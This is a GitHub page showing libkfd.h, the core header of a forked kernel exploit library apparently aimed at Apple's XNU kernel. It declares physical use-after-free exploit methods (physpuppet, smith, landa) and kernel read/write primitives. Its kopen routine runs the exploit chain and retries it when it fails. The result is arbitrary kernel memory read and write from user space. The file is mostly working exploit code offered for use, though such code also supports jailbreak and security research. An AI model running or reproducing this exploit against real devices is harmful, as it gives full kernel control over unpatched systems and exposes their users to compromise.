forked from wh1te4ever/kfund
-
Notifications
You must be signed in to change notification settings - Fork 17
/
libkfd.h
222 lines (192 loc) · 4.72 KB
/
libkfd.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
/*
* Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved.
*/
#ifndef libkfd_h
#define libkfd_h
/*
* The global configuration parameters of libkfd.
*/
#define CONFIG_ASSERT 1
#define CONFIG_PRINT 1
#define CONFIG_TIMER 1
#include "libkfd/common.h"
/*
* The public API of libkfd.
*/
enum puaf_method {
puaf_physpuppet,
puaf_smith,
puaf_landa,
};
enum kread_method {
kread_kqueue_workloop_ctl,
kread_sem_open,
};
enum kwrite_method {
kwrite_dup,
kwrite_sem_open,
};
u64 kopen(u64 puaf_pages, u64 puaf_method, u64 kread_method, u64 kwrite_method);
void kread(u64 kfd, u64 kaddr, void* uaddr, u64 size);
void kwrite(u64 kfd, void* uaddr, u64 kaddr, u64 size);
void kclose(u64 kfd);
/*
* The private API of libkfd.
*/
struct kfd; // Forward declaration for function pointers.
struct info {
struct {
vm_address_t src_uaddr;
vm_address_t dst_uaddr;
vm_size_t size;
} copy;
struct {
i32 pid;
u64 tid;
u64 vid;
u64 maxfilesperproc;
} env;
struct {
u64 current_map;
u64 current_pmap;
u64 current_proc;
u64 current_task;
u64 kernel_map;
u64 kernel_pmap;
u64 kernel_proc;
u64 kernel_task;
} kaddr;
};
struct perf {
u64 kernel_slide;
u64 gVirtBase;
u64 gPhysBase;
u64 gPhysSize;
struct {
u64 pa;
u64 va;
} ttbr[2];
struct ptov_table_entry {
u64 pa;
u64 va;
u64 len;
} ptov_table[8];
struct {
u64 kaddr;
u64 paddr;
u64 uaddr;
u64 size;
} shared_page;
struct {
i32 fd;
u32 si_rdev_buffer[2];
u64 si_rdev_kaddr;
} dev;
void (*saved_kread)(struct kfd*, u64, void*, u64);
void (*saved_kwrite)(struct kfd*, void*, u64, u64);
};
struct puaf {
u64 number_of_puaf_pages;
u64* puaf_pages_uaddr;
void* puaf_method_data;
u64 puaf_method_data_size;
struct {
void (*init)(struct kfd*);
void (*run)(struct kfd*);
void (*cleanup)(struct kfd*);
void (*free)(struct kfd*);
} puaf_method_ops;
};
struct krkw {
u64 krkw_maximum_id;
u64 krkw_allocated_id;
u64 krkw_searched_id;
u64 krkw_object_id;
u64 krkw_object_uaddr;
u64 krkw_object_size;
void* krkw_method_data;
u64 krkw_method_data_size;
struct {
void (*init)(struct kfd*);
void (*allocate)(struct kfd*, u64);
bool (*search)(struct kfd*, u64);
void (*kread)(struct kfd*, u64, void*, u64);
void (*kwrite)(struct kfd*, void*, u64, u64);
void (*find_proc)(struct kfd*);
void (*deallocate)(struct kfd*, u64);
void (*free)(struct kfd*);
} krkw_method_ops;
};
struct kfd {
struct info info;
struct perf perf;
struct puaf puaf;
struct krkw kread;
struct krkw kwrite;
};
#include "libkfd/info.h"
#include "libkfd/puaf.h"
#include "libkfd/krkw.h"
#include "libkfd/perf.h"
struct kfd* kfd_init(u64 puaf_pages, u64 puaf_method, u64 kread_method, u64 kwrite_method)
{
struct kfd* kfd = (struct kfd*)(malloc_bzero(sizeof(struct kfd)));
info_init(kfd);
puaf_init(kfd, puaf_pages, puaf_method);
krkw_init(kfd, kread_method, kwrite_method);
perf_init(kfd);
return kfd;
}
void kfd_free(struct kfd* kfd)
{
perf_free(kfd);
krkw_free(kfd);
puaf_free(kfd);
info_free(kfd);
bzero_free(kfd, sizeof(struct kfd));
}
u64 kopen(u64 puaf_pages, u64 puaf_method, u64 kread_method, u64 kwrite_method)
{
int fail = -1;
timer_start();
const u64 puaf_pages_min = 16;
const u64 puaf_pages_max = 2048;
assert(puaf_pages >= puaf_pages_min);
assert(puaf_pages <= puaf_pages_max);
assert(puaf_method <= puaf_landa);
assert(kread_method <= kread_sem_open);
assert(kwrite_method <= kwrite_sem_open);
struct kfd* kfd = kfd_init(puaf_pages, puaf_method, kread_method, kwrite_method);
retry:
puaf_run(kfd);
fail = krkw_run(kfd);
if(fail && (puaf_method == puaf_landa)) {
// Thanks: m1zole / dunkeyyfong
puaf_free(kfd);
info_free(kfd);
bzero(kfd, sizeof(struct kfd));
info_init(kfd);
puaf_init(kfd, puaf_pages, puaf_method);
krkw_init(kfd, kread_method, kwrite_method);
perf_init(kfd);
goto retry;
}
info_run(kfd);
perf_run(kfd);
puaf_cleanup(kfd);
timer_end();
return (u64)(kfd);
}
void kread(u64 kfd, u64 kaddr, void* uaddr, u64 size)
{
krkw_kread((struct kfd*)(kfd), kaddr, uaddr, size);
}
void kwrite(u64 kfd, void* uaddr, u64 kaddr, u64 size)
{
krkw_kwrite((struct kfd*)(kfd), uaddr, kaddr, size);
}
void kclose(u64 kfd)
{
kfd_free((struct kfd*)(kfd));
}
#endif /* libkfd_h */